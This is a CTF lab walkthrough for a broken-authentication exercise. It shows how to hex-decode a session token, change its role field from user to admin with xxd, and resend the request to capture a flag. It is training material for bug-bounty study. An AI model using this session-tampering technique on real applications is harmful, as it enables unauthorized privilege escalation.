> For the complete documentation index, see [llms.txt](https://www.hackervice.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.hackervice.com/ctf-labs/htb-certified-bug-bounty-hunter/broken-authentication/attacking-session-tokens.md).
# Attacking Session Tokens
### Obtain administrative access on the target to obtain the flag.
**Step 1** - Decode the value of the parameter `session`:
* Login into the application
* Get the session id:
* Use [DenCode](https://dencode.com/en/) to detect the type of encoding
* You can confirm with the following command:
* ```bash
echo -n 757365723d6874622d7374646e743b726f6c653d75736572 | xxd -r -p
```
**Step 2** - Modify the role:
* Change the role to admin:
* `user=htb-stdnt;role=user`
* Encode it:
*
echo -n 'user=htb-stdnt;role=admin' | xxd -p
**Step 3** - Change the session id of the Request and get the flag:
* Modify the session id
* Resend the Request
* Search for the flag on the Response:
